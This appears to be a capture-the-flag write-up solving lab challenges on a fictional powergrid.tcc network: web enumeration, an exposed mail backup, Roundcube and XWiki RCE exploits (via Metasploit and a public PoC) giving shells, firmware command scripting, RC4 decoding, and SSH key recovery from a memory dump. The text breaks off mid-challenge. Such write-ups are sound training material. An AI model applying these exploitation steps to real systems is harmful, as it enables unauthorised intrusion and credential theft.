Host `fusion.powergrid.tcc` responds a nice check status : FLAG{xxxx-xxxx-xxxx-xxxx}

\o/

## Temporary webmail

Hi, emergency troubleshooter,

the e-mail administrator, Bob, was tasked with hastily setting up a new webmail server for temporary access to old e-mails. Verify whether the server is properly secured (you know how it usually goes with temporary services).

Stay grounded!

- Webmail runs on server `webmail.powergrid.tcc`.

So bob set up a temporary webmail.

First of all I need to know a little more about the server.

```
1 nmap -p- webmail.powergrid.tcc
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:25 CEST
3 Nmap scan report for webmail.powergrid.tcc (10.99.25.31)
4 Host is up (0.030s latency).
5 Other addresses for webmail.powergrid.tcc (not scanned): 2001:db8:7cc::25:31
6 Not shown: 65529 closed tcp ports (reset)
7 PORT      STATE SERVICE
8 25/tcp    open  smtp
9 80/tcp    open  http
10 110/tcp   open  pop3
11 143/tcp   open  imap
12 993/tcp   open  imaps
13 995/tcp   open  pop3s
14
15 nmap -p25,80,110,143,993,995 -A webmail.powergrid.tcc
16 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:26 CEST
17 Nmap scan report for webmail.powergrid.tcc (10.99.25.31)
18 Host is up (0.030s latency).
19 Other addresses for webmail.powergrid.tcc (not scanned): 2001:db8:7cc::25:31
20
21 PORT      STATE SERVICE  VERSION
22 25/tcp    open  smtp      Postfix smtpd
```

```
23 |_ssl-date: TLS randomness does not represent time
24 | ssl-cert: Subject: commonName=localhost
25 | Subject Alternative Name: DNS:localhost
26 | Not valid before: 2025-09-04T20:27:09
27 |_Not valid after: 2035-09-02T20:27:09
28 |_smtp-commands: localhost.cesnet.cz, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
    ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
29 80/tcp open  http      Apache httpd 2.4.58 ((Ubuntu))
30 |_http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
31 |_http-server-header: Apache/2.4.58 (Ubuntu)
32 110/tcp open  pop3      Dovecot pop3d
33 |_pop3-capabilities: CAPA USER TOP UIDL AUTH-RESP-CODE RESP-CODES PIPELINING STLS
    SASL(PLAIN LOGIN)
34 |_ssl-date: TLS randomness does not represent time
35 | ssl-cert: Subject: commonName=localhost
36 | Subject Alternative Name: DNS:localhost
37 | Not valid before: 2025-09-04T20:27:09
38 |_Not valid after: 2035-09-02T20:27:09
39 143/tcp open  imap      Dovecot imapd (Ubuntu)
40 | ssl-cert: Subject: commonName=localhost
41 | Subject Alternative Name: DNS:localhost
42 | Not valid before: 2025-09-04T20:27:09
43 |_Not valid after: 2035-09-02T20:27:09
44 |_ssl-date: TLS randomness does not represent time
45 |_imap-capabilities: AUTH=PLAIN LOGIN-REFERRALS LITERAL+ post-login AUTH=LOGINA0001
    listed capabilities have more SASL-IR STARTTLS IDLE IMAP4rev1 ID OK ENABLE Pre-login
46 993/tcp open  ssl/imap  Dovecot imapd (Ubuntu)
47 |_ssl-date: TLS randomness does not represent time
48 | ssl-cert: Subject: commonName=localhost
49 | Subject Alternative Name: DNS:localhost
50 | Not valid before: 2025-09-04T20:27:09
51 |_Not valid after: 2035-09-02T20:27:09
52 |_imap-capabilities: capabilities AUTH=PLAIN more have post-login LOGIN-REFERRALS
    LITERAL+ listed SASL-IR Pre-login IDLE IMAP4rev1 ID OK AUTH=LOGINA0001 ENABLE
53 995/tcp open  ssl/pop3  Dovecot pop3d
54 |_ssl-date: TLS randomness does not represent time
55 |_pop3-capabilities: AUTH-RESP-CODE CAPA RESP-CODES PIPELINING USER TOP SASL(PLAIN
    LOGIN) UIDL
56 | ssl-cert: Subject: commonName=localhost
57 | Subject Alternative Name: DNS:localhost
58 | Not valid before: 2025-09-04T20:27:09
59 |_Not valid after: 2035-09-02T20:27:09
60 Warning: OSScan results may be unreliable because we could not find at least 1 open and
    1 closed port
61 Device type: general purpose
62 Running: Linux 4.X|5.X
63 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
64 OS details: Linux 4.15 - 5.19
65 Network Distance: 2 hops
66 Service Info: Host: localhost.cesnet.cz; OS: Linux; CPE: cpe:/o:linux:linux_kernel
67
68 TRACEROUTE (using port 80/tcp)
69 HOP RTT      ADDRESS
```

```

70 1 30.61 ms 10.200.0.1
71 2 30.66 ms 10.99.25.31
72
73 OS and Service detection performed. Please report any incorrect results at
  https://nmap.org/submit/ .
74 Nmap done: 1 IP address (1 host up) scanned in 17.32 seconds
75

```

Well Bob installed RoundCube. After checking the login page source I found some interesting information :

```

1  [...]
2  var rcmail = new rcube_webmail();
3  rcmail.set_env({"task":"login","standard_windows":false,"locale":"fr_FR","devel_mode":nul
  l,"rcversion":10610, [...]

```

The version of roundcube seems to be `1.6.10` and there is an RCE exploit but I need to be authenticated.

So let's dig more.

```

1  dirsearch -u http://webmail.powergrid.tcc
2  /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
  pkg_resources is deprecated as an API. See
  https://setuptools.pypa.io/en/latest/pkg_resources.html
3    from pkg_resources import DistributionNotFound, VersionConflict
4
5    _|. _ _  _ _ _ _|.      v0.4.3
6    ( _||| _ ) (/ _ (|| ( _| )
7
8  Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size:
  11460
9
10
11 Target: http://webmail.powergrid.tcc/
12
13 [21:21:22] Starting:
14 [21:21:24] 403 - 286B - /.ht_wsr.txt
15 [21:21:24] 403 - 286B - /.htaccess.bak1
16 [21:21:24] 403 - 286B - /.htaccess.orig
17 [21:21:24] 403 - 286B - /.htaccess.save
18 [21:21:24] 403 - 286B - /.htaccess.sample
19 [21:21:24] 403 - 286B - /.htaccess_orig
20 [21:21:24] 403 - 286B - /.htaccess_extra
21 [21:21:24] 403 - 286B - /.htaccess_sc
22 [21:21:24] 403 - 286B - /.htaccessBAK
23 [21:21:24] 403 - 286B - /.htaccessOLD
24 [21:21:24] 403 - 286B - /.htaccessOLD2
25 [21:21:24] 403 - 286B - /.htm
26 [21:21:24] 403 - 286B - /.html
27 [21:21:24] 403 - 286B - /.htpasswd_test
28 [21:21:24] 403 - 286B - /.httr-oauth
29 [21:21:24] 403 - 286B - /.htpasswd
30 [21:21:25] 403 - 286B - /.php

```

```

31 [21:21:34] 301 - 331B - /backup -> http://webmail.powergrid.tcc/backup/
32 [21:21:34] 200 - 472B - /backup/
33 [21:21:42] 200 - 5KB - /index.php/login/
34 [21:21:49] 301 - 332B - /plugins -> http://webmail.powergrid.tcc/plugins/
35 [21:21:49] 200 - 906B - /plugins/
36 [21:21:50] 200 - 466B - /program/
37 [21:21:51] 200 - 5KB - /roundcube/index.php
38 [21:21:52] 403 - 286B - /server-status
39 [21:21:52] 403 - 286B - /server-status/
40 [21:21:53] 301 - 330B - /skins -> http://webmail.powergrid.tcc/skins/
41
42 Task Completed

```

Huuuum. There is a backup folder.

```

1 curl http://webmail.powergrid.tcc/backup/
2 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
3 <html>
4   <head>
5     <title>Index of /backup</title>
6   </head>
7   <body>
8     <h1>Index of /backup</h1>
9     <table>
10      <tr><th valign="top"></th><th><a href="?
C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?
C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
11      <tr><th colspan="5"><hr></th></tr>
12      <tr><td valign="top"></td><td><a
href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr>
13      <tr><td valign="top"></td><td><a
href="maildir-20150507.tgz">maildir-20150507.tgz</a></td><td align="right">2025-09-04
21:06 </td><td align="right">101M</td><td>&nbsp;</td></tr>
14      <tr><th colspan="5"><hr></th></tr>
15    </table>
16    <address>Apache/2.4.58 (Ubuntu) Server at webmail.powergrid.tcc Port 80</address>
17  </body></html>

```

Well let's take a look at this archive.

```

1 wget http://webmail.powergrid.tcc/backup/maildir-20150507.tgz

```

There is a looooot of mail -\_-

After a loooooong search I finally found an account : ADM40092:WELCOME6

Then I use metasploit to exploit the RCE vuln.

```

1 use multi/http/roundcube_auth_rce_cve_2025_49113

```

And I got a shell 😊

After searching for a while I finally figured out that the solution was in front of me since the beginning !  
In /etc/passwd there was a `f1ag` user with a base64 encoded fake password... that was the flag 😊

\o/

---

## FALCON

---

Hi, emergency troubleshooter,

recent studies suggest that the intense heat and hard labor of solar technicians often trigger strange, vivid dreams about the future of energetics. Over the past few days, technicians have woken up night after night with the same terrifying screams "Look, up in the sky! It's a bird! It's a plane! It's Superman! Let's roast it anyway!".

Find out what's going on, we need our technicians to stay sane.

Stay grounded!

- <http://intro.falcon.powergrid.tcc/>

### 🗨 Important

**Disclaimer** : Reverse is not my strong point. So I use and abuse of some well known LLM 😬

## Chapter 1: Operator

Soft winds gently blow,

answers drift through open minds—

ease lives in the search.

Ok, this is the first part of the scenarised CTF suite. Operator leads us to

`http://roostguard.falcon.powergrid.tcc`

Fisrt things first : enumeration !

```
1 nmap -p- roostguard.falcon.powergrid.tcc
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 00:08 CEST
3 Nmap scan report for roostguard.falcon.powergrid.tcc (10.99.25.154)
4 Host is up (0.030s latency).
5 Other addresses for roostguard.falcon.powergrid.tcc (not scanned): 2001:db8:7cc::25:154
6 Not shown: 65533 closed tcp ports (reset)
7 PORT      STATE SERVICE
8 80/tcp    open  http
9 1935/tcp  open  rtmp
```

Tried `rtmpdump -v -r "rtmp://roostguard.falcon.powergrid.tcc" --playpath / -o -` to test rtmp flux but no luck...

```
1 gobuster dir -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://roostguard.falcon.powergrid.tcc -b "404,429"
2 =====
3 Gobuster v3.8
```

```

4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5 =====
6 [+] Url: http://roostguard.falcon.powergrid.tcc
7 [+] Method: GET
8 [+] Threads: 10
9 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-
Content/directory-list-2.3-medium.txt
10 [+] Negative Status codes: 404,429
11 [+] User Agent: gobuster/3.8
12 [+] Follow Redirect: true
13 [+] Timeout: 10s
14 =====
15 Starting gobuster in directory enumeration mode
16 =====
17 /login (Status: 200) [Size: 2213]
18 /stats (Status: 200) [Size: 47]
19 /logout (Status: 200) [Size: 2213]
20 /radar (Status: 200) [Size: 2213]
21 /command (Status: 405) [Size: 153]
22 /operator (Status: 200) [Size: 3783]
23 Progress: 220557 / 220557 (100.00%)
24 =====
25 Finished
26 =====
27

```

After enumerating I found `http://roostguard.falcon.powergrid.tcc/operator` inside html code I found the first flag !

\o/

*The operator page also permits to send commands to a remote "industrial" system and a live video stream shows the result. I think I will need it later...*

## Chapter 2: The Vendor

Bits beneath the shell,  
 silent thief in circuits' sleep—  
 firmware leaves the nest.

In this chapter we're sent to `http://thevendor.falcon.powergrid.tcc/xwiki/bin/view/Main/`

This wiki is held by "The Vendor" the firm that sells the roostguard product.

This version of xwiki is vulnerable to `CVE-2025-24893` that permits a remote code execution.

Using PoC `https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC/blob/main/CVE-2025-24893-dbs.py` I managed to get a reverse shell. Xwiki is hosted inside a docker.

Looking at environment variables gave me the flag.

\o/

## Chapter 3: Open the door

Old lock greets the key,  
rusted hinges sing once more—  
new paths breathe the fire.

Operator page calls `http://roostguard.falcon.powergrid.tcc/command` but only some commands are available on this page.

But, on the docker host found in previous chapter I found a /data directory that contains the firmware of the physical equipment. There is a binary compiled for `atmega328p` soc. The photos confirmed that it is an arduino uno.

Using `strings` on this binary permitted me to discover *almost* all accepted commands :

- VERS : prints version of the firware and the licence code on screen
- AIMM : needs an authenticated session
- LASE : needs an authenticated session
- TURR : needs an authenticated session
- DEMO : needs an authenticated session
- TEXT : needs an authenticated session
- FIRE : needs an authenticated session
- ZERO : needs an authenticated session
- PASS : Displays a password... but no clue on how to use it... for now 😊
- HOTP : Displays "270683"

After exploring a while I decided to extend my research :

```
1  gobuster dns --domain falcon.powergrid.tcc -w
   /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
2  =====
3  Gobuster v3.8
4  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5  =====
6  [+] Domain:      falcon.powergrid.tcc
7  [+] Threads:    10
8  [+] Timeout:     1s
9  [+] Wordlist:    /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
10 =====
11 Starting gobuster in DNS enumeration mode
12 =====
13 [INFO] [-] Unable to validate base domain: falcon.powergrid.tcc (lookup
   falcon.powergrid.tcc: no such host)
14 streaming.falcon.powergrid.tcc 2001:db8:7cc::25:154,10.99.25.154
15 node1.falcon.powergrid.tcc 2001:db8:7cc::25:150,10.99.25.150
16 node2.falcon.powergrid.tcc 2001:db8:7cc::25:151,10.99.25.151
17 node3.falcon.powergrid.tcc 2001:db8:7cc::25:152,10.99.25.152
18 intro.falcon.powergrid.tcc 2001:db8:7cc::25:154,10.99.25.154
```

```

19 node4.falcon.powergrid.tcc 2001:db8:7cc::25:153,10.99.25.153
20 Progress: 114442 / 114442 (100.00%)
21 =====
22 Finished
23 =====

```

And then :

```

1  nmap -p- 10.99.25.150-159
2  Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 17:54 CEST
3  Nmap scan report for 10.99.25.150
4  Host is up (0.031s latency).
5  Not shown: 65530 closed tcp ports (reset)
6  PORT      STATE SERVICE
7  22/tcp    open  ssh
8  1935/tcp  open  rtmp
9  5432/tcp  open  postgresql
10 5666/tcp  open  nrpe
11 38000/tcp open  ivs-database
12
13 Nmap scan report for 10.99.25.151
14 Host is up (0.031s latency).
15 All 65535 scanned ports on 10.99.25.151 are in ignored states.
16 Not shown: 65535 closed tcp ports (reset)
17
18 Nmap scan report for 10.99.25.152
19 Host is up (0.030s latency).
20 Not shown: 65532 closed tcp ports (reset)
21 PORT      STATE SERVICE
22 80/tcp    open  http
23 4447/tcp  open  n1-rmgt
24 8081/tcp  open  blackice-icecap
25
26 Nmap scan report for 10.99.25.153
27 Host is up (0.031s latency).
28 All 65535 scanned ports on 10.99.25.153 are in ignored states.
29 Not shown: 65535 closed tcp ports (reset)
30
31 Nmap scan report for 10.99.25.154
32 Host is up (0.031s latency).
33 Not shown: 65533 closed tcp ports (reset)
34 PORT      STATE SERVICE
35 80/tcp    open  http
36 1935/tcp  open  rtmp
37
38 Nmap done: 10 IP addresses (5 hosts up) scanned in 61.29 seconds

```

Extensive search on each node:

- node1.falcon.powergrid.tcc :

```

1  nmap -p22,1935,5432,5666,38000 -A 10.99.25.150

```



```

2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 17:58 CEST
3 Nmap scan report for 10.99.25.150
4 Host is up (0.030s latency).
5
6 PORT      STATE SERVICE      VERSION
7 22/tcp    open  ssh          OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
8 | ssh-hostkey:
9 |   256 48:84:0b:a8:12:ee:0e:65:8f:20:bf:ba:49:ee:e6:ad (ECDSA)
10 |_  256 fa:4d:44:74:6b:6b:6e:37:02:87:2f:42:4d:1e:91:d0 (ED25519)
11 1935/tcp  open  rtmp?
12 5432/tcp  open  postgresql   PostgreSQL DB 9.6.0 or later
13 5666/tcp  open  tcpwrapped
14 38000/tcp open  http         Unicorn
15 |_http-title: RoostGuard Controller
16 |_http-server-header: unicorn
17 Warning: OSScan results may be unreliable because we could not find at least 1 open and
18 1 closed port
19 Device type: general purpose
20 Running: Linux 4.X|5.X
21 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
22 OS details: Linux 4.15 - 5.19
23 Network Distance: 2 hops
24 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
25
26 TRACEROUTE (using port 443/tcp)
27 HOP RTT      ADDRESS
28 1   30.02 ms 10.200.0.1
29 2   30.07 ms 10.99.25.150
30
31 OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.34 seconds

```

- node2.falcon.powergrid.tcc :

```

1 Nmap scan report for 10.99.25.151
2 Host is up (0.031s latency).
3 All 65535 scanned ports on 10.99.25.151 are in ignored states.
4 Not shown: 65535 closed tcp ports (reset)
5

```

- node3.falcon.powergrid.tcc

```

1 nmap -p80,4447,8081 -A 10.99.25.152 □ 2
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 18:14 CEST
3 Nmap scan report for 10.99.25.152
4 Host is up (0.030s latency).
5
6 PORT      STATE SERVICE      VERSION
7 80/tcp    open  http         nginx 1.22.1
8 | http-robots.txt: 50 disallowed entries (15 shown)
9 | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/

```

```

10 | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
11 | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
12 | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
13 | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
14 |_/xwiki/bin/undelete/
15 | http-methods:
16 |_ Potentially risky methods: PROPFIND LOCK UNLOCK
17 | http-webdav-scan:
18 |   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
19 |   Server Date: Sun, 19 Oct 2025 16:15:54 GMT
20 |   WebDAV type: Unknown
21 |_ Server Type: nginx/1.22.1
22 |_http-server-header: nginx/1.22.1
23 | http-cookie-flags:
24 |   /:
25 |     JSESSIONID:
26 |_       httponly flag not set
27 | http-title: XWiki - Main - TheVendor \xE2\x80\x93 Defense for Power Infrastructure
28 |_Requested resource was http://10.99.25.152/xwiki/bin/view/Main/
29 4447/tcp open  n1-rmgt?
30 8081/tcp open  http      SimpleHTTPServer 0.6 (Python 3.11.2)
31 |_http-server-header: SimpleHTTP/0.6 Python/3.11.2
32 |_http-title: Directory listing for /
33 Warning: OSScan results may be unreliable because we could not find at least 1 open and
34 1 closed port
34 Device type: general purpose
35 Running: Linux 4.X|5.X
36 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
37 OS details: Linux 4.15 - 5.19
38 Network Distance: 2 hops
39
40 TRACEROUTE (using port 80/tcp)
41 HOP RTT      ADDRESS
42 1  29.53 ms 10.200.0.1
43 2  29.56 ms 10.99.25.152
44
45 OS and Service detection performed. Please report any incorrect results at
46 https://nmap.org/submit/ .
46 Nmap done: 1 IP address (1 host up) scanned in 91.09 seconds

```

It seems that ports 4447 et 8081 were python SimpleHTTPServer spawed by other players 😊

- node4.falcon.powergrid.tcc
- node5.falcon.powergrid.tcc

```

1  PORT      STATE SERVICE  VERSION
2  80/tcp    open  http      nginx 1.22.1
3  | http-robots.txt: 50 disallowed entries (15 shown)
4  | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
5  | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
6  | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
7  | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/

```

```

8 | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
9 |_/xwiki/bin/undelete/
10 | http-methods:
11 |_ Potentially risky methods: PROPFIND LOCK UNLOCK
12 | http-webdav-scan:
13 |   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
14 |   Server Date: Sun, 19 Oct 2025 16:15:54 GMT
15 |   WebDAV type: Unknown
16 |_ Server Type: nginx/1.22.1
17 |_http-server-header: nginx/1.22.1
18 | http-cookie-flags:
19 |   /:
20 |     JSESSIONID:
21 |_     httponly flag not set
22 | http-title: XWiki - Main - TheVendor \xE2\x80\x93 Defense for Power Infrastructure
23 |_Requested resource was http://10.99.25.152/xwiki/bin/view/Main/
24 4447/tcp open  n1-rmgt?
25 8081/tcp open  http      SimpleHTTPServer 0.6 (Python 3.11.2)
26 |_http-server-header: SimpleHTTP/0.6 Python/3.11.2
27 |_http-title: Directory listing for /
28 Warning: OSScan results may be unreliable because we could not find at least 1 open and
29 1 closed port
29 Device type: general purpose
30 Running: Linux 4.X|5.X
31 OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
32 OS details: Linux 4.15 - 5.19
33 Network Distance: 2 hops

```

Well... It seems that roostguard infrastructure is hold by several hosts but except that... no clue :(

Based on what I found in the firmware I decided to wrote a little bash script to send command easier :

```

1  #!/usr/bin/env bash
2  set -euo pipefail
3
4  BASE="http://roostguard.falcon.powergrid.tcc"
5  LOGIN="$BASE/login"
6  COOKIE="cookies.txt"
7  COMMAND="$BASE/command"
8
9  # 1) GET on login page (cookie + CSRF)
10
11  curl -L -sS -c "$COOKIE" -A "Mozilla/5.0" "$LOGIN" -o login.html
12  CSRF=$(grep -oP 'name="csrf-token"\s+content="\K[^\"]+' login.html)
13
14  # 2) POST → capture headers + body
15  curl -X POST -L -b "$COOKIE" --data-raw "command=$1&csrf_token=$CSRF" "$COMMAND"

```

Then I tried to send `bash ./send_command.sh "HOTP<ChallFromLoginPage>"` and... the lcd screen shows me an OTP code corresponding to the challenge that let me in and get the flag 😊

\o/

## Chapter 4: Is not free

Respect the craft's birth,

Code is earned, not taken swift—

Licence guards its worth.

After a loooong search on the VERS command I managed, using AI to help me, to design a script that gets exactly the licence key :

```
1  import zlib
2
3  # RC4 KSA/PRGA minimal
4  def rc4(key: bytes, data: bytes) -> bytes:
5      S = list(range(256)); j = 0
6      for i in range(256): # KSA
7          j = (j + S[i] + key[i % len(key)]) & 0xFF
8          S[i], S[j] = S[j], S[i]
9      i = j = 0; out = bytearray()
10     for b in data: # PRGA
11         i = (i + 1) & 0xFF
12         j = (j + S[i]) & 0xFF
13         S[i], S[j] = S[j], S[i]
14         K = S[(S[i] + S[j]) & 0xFF]
15         out.append(b ^ K)
16     return bytes(out)
17
18 # Clé RC4 en binaire (0x0100: "ThreeLittleBirds")
19 key = b"ThreeLittleBirds"
20
21 # Message 25 B (0x0143) = 'Z' + 24 B (la clé HMAC trouvée côté login web)
22 msg = bytes.fromhex("5a15339de0ba7121cb056a8aca36b2990afb239a17c9572996")
23
24 lic = zlib.crc32(rc4(key, msg)) & 0xFFFFFFFF
25 print(f"{lic:08x}") # -> a6dbacc5
26
```

After searching a while and attempting to connect to almost everything with **"ThreeLittleBirds"**, **Bob** and **Marley** I finally gave up. 😊

But just when I thought I couldn't manage to solve this chall I tried something : What if I use the python code to generate the license but bypass the last function : CRC32

```
1  import zlib
2
3  # RC4 KSA/PRGA minimal
4  def rc4(key: bytes, data: bytes) -> bytes:
5      S = list(range(256)); j = 0
6      for i in range(256): # KSA
7          j = (j + S[i] + key[i % len(key)]) & 0xFF
8          S[i], S[j] = S[j], S[i]
9      i = j = 0; out = bytearray()
```

```

10     for b in data:          # PRGA
11         i = (i + 1) & 0xFF
12         j = (j + S[i]) & 0xFF
13         S[i], S[j] = S[j], S[i]
14         K = S[(S[i] + S[j]) & 0xFF]
15         out.append(b ^ K)
16     return bytes(out)
17
18 key = b"ThreeLittleBirds"
19
20 msg = bytes.fromhex("5a15339de0ba7121cb056a8aca36b2990afb239a17c9572996")
21
22 #lic = zlib.crc32(rc4(key, msg)) & 0xFFFFFFFF
23 lic = rc4(key, msg)
24 #print(f"{lic:08x}")
25 print(lic.decode("utf-8"))
26

```

And it gave me the flag !!!

\o/

## Chapter 5: Hits

Silent shields arise,  
code weaving unseen barriers—  
guardians without sleep.

This is the final step !

The operator page has a link to FeatherScan (URI : /radar).

On this page there is a representation of the matrix that we can see on streaming video but there is also a colored box. That is my target !!

I had to understand how to send coordinates to turret and laser.

On operator page there is a last command, Fire, which sent value is `FIRE0000`

There is no FIRE function in the firmware but the `AIMM` function seems to do the same 😊

After analyzing the `AIMM` function I could determine that the matrix coordinates were :

Columns (left → right) = [-18, -9, 0, +9, +18]

Rows (top → bottom) = [+12, +6, 0, -6, -12].

And then I had to convert those coordinates to what `AIMM` wants (HEX values) :

```

1 def aim_trame(x: int, y: int) -> str:
2     # mappe int signé [-128..127] vers octet (deux-complements)
3     def to_byte(v): return v & 0xFF
4     return "AIMM" + f"{to_byte(x):02x}{to_byte(y):02x}"
5
6 # Exemples
7 for (x,y) in [(-1,0),(0,0),(127,127),(128,0),(255,255)]:
8     print((x,y), "->", aim_trame(x,y))
9

```

With this I could shot each box selected by `FeatherScan` and get the flag !

\o/

## Incident analysis


### Inaccessible backup

Hi, emergency troubleshooter,

One of our servers couldn't withstand the surge of pure energy and burst into bright flames. It is backed up, but no one knows where and how the backups are stored. We only have a memory dump from an earlier investigation available. Find our backups as quickly as possible.

Stay grounded!

- [Download \(memory dump for analysis\)](#)

Here we got a memory dump from a dead  server. Our mission is to discover where the backup is stored.

First, I needed to identify what type of dump :

```

1 file inaccessible_backup.dump
2 inaccessible_backup.dump: QEMU suspend to disk image

```

Then, I tried to use volatility 3 to explore the memory.

Now, I needed to figure out what type of system was this file from :

```

1 /bin/volatility3/vol.py -f inaccessible_backup.dump banners
2 Volatility 3 Framework 2.26.2
3 Progress: 100.00 PDB scanning finished
4 Offset Banner
5
6 0xceb4098 Linux version 6.1.0-38-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian
7 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC
8 Debian 6.1.147-1 (2025-08-02)
9 0xcf78bf0 Linux version 6.1.0-37-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian
10 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC
11 Debian 6.1.140-1 (2025-05-22)
12 0x118001a0 Linux version 6.1.0-38-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian
13 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) # SMP PREEMPT_DYNAMIC
14 Debian 6.1.147-1 (2025-08-02)
15 0x11960ac0 Linux version 6.1.0-38-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian
16 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC
17 Debian 6.1.147-1 (2025-08-02)

```

After importing the corresponding symbols for this kernel I was able to execute linux specific forensic options.

I searched for a while and then I figured out that ssh-agent was loaded :

```

1 ~/bin/volatility3/vol.py -f inaccessible_backup.dump linux.pstree
2 Volatility 3 Framework 2.26.2
3 Progress: 100.00 Stacking attempts finished
4 OFFSET (V) PID TID PPID COMM
5
6 0x8c0c01209840 1 1 0 systemd
7 * 0x8c0c0351b080 212 212 1 systemd-journal
8 * 0x8c0c0574c8c0 238 238 1 systemd-udevd
9 * 0x8c0c05749840 254 254 1 systemd-timesyn
10 * 0x8c0c0571b080 311 311 1 dhclient
11 * 0x8c0c076ec8c0 444 444 1 cron
12 * 0x8c0c076eb080 445 445 1 dbus-daemon
13 * 0x8c0c03a81840 449 449 1 systemd-logind
14 * 0x8c0c0b691840 454 454 1 agetty
15 * 0x8c0c04cb8000 471 471 1 sshd
16 * 0x8c0c04cbe100 472 472 1 apache2
17 ** 0x8c0c01b03080 474 474 472 apache2
18 ** 0x8c0c076e8000 475 475 472 apache2
19 ** 0x8c0c076e9840 476 476 472 apache2
20 ** 0x8c0c03511840 477 477 472 apache2
21 ** 0x8c0c0571c8c0 478 478 472 apache2
22 ** 0x8c0c0351e100 698 698 472 apache2
23 * 0x8c0c1f4d0000 520 520 1 ssh-agent
24 [...]

```

So, maybe the backup was made through SSH and maybe there is still something in the memory.

```

1 ~/bin/volatility3/vol.py -f inaccessible_backup.dump linux.pagecache.Files | grep backup
2 0x8c0c1cba4000.0/ 8:1 135263ng0x8c0c029c93c8shREG 1 1 -rw-r--r-- 2025-
09-03 12:39:01.152000 UTC 2025-09-03 12:22:11.770582 UTC 2025-09-03 12:37:04.122393 UTC
/root/.ssh/backup_key.pub 106
3 0x8c0c1cba4000 / 8:1 135262 0x8c0c029ca1c0 REG 1 1 -rw----- 2025-09-03
12:39:01.164000 UTC 2025-09-03 12:22:11.770582 UTC 2025-09-03 12:37:04.122393 UTC
/root/.ssh/backup_key 419

```

Yes !

Let's try to get this ssh key pair !

```

1 ~/bin/volatility3/vol.py -f
~/CTF/TheCatch2025/Inaccessible_backup/inaccessible_backup.dump linux.pagecache.RecoverFs

```

This command dump all the files in a tar.gz archive.

Now, I can take a look at those two files :

```

1 cat tmp/42fbcf78-cbbe-4966-a7ef-9a982001a7e0/root/.ssh/backup_key.pub
2 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP+k1zEHvb6XqD8k6k+E71dxiPP+sL6fdCX+/Td1jiNJ
bkp@backup.powergrid.tcc

```

Allright ! I got a server and a user.

I just needed to execute `ssh -i ./42fbcf78-cbbe-4966-a7ef-9a982001a7e0/root/.ssh/backup_key bkp@backup.powergrid.tcc` to get the flag.

\o/

## Threatening message

Hi, emergency troubleshooter,

hurry to the SSD (Support Services Department) – they've received a threatening e-mail, probably from a recently dismissed employee. It threatens both the loss and the disclosure of our organization's data. The situation needs to be investigated.

Stay grounded!

- [Download threatening message](#)
- [Download materials for analysis](#)

Here we're facing a villain 🦹 that threaten the powergrid company. It seems that this person manage to stole critical data.

We got the message that was sent to powergrid and a `plaso` database that contains a timeline of events.

I didn't know how to use plaso so I had to figure it out.

First I transformed the data into timeline csv :

```

